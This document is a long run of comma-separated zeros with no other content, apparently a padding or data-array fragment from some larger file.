0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 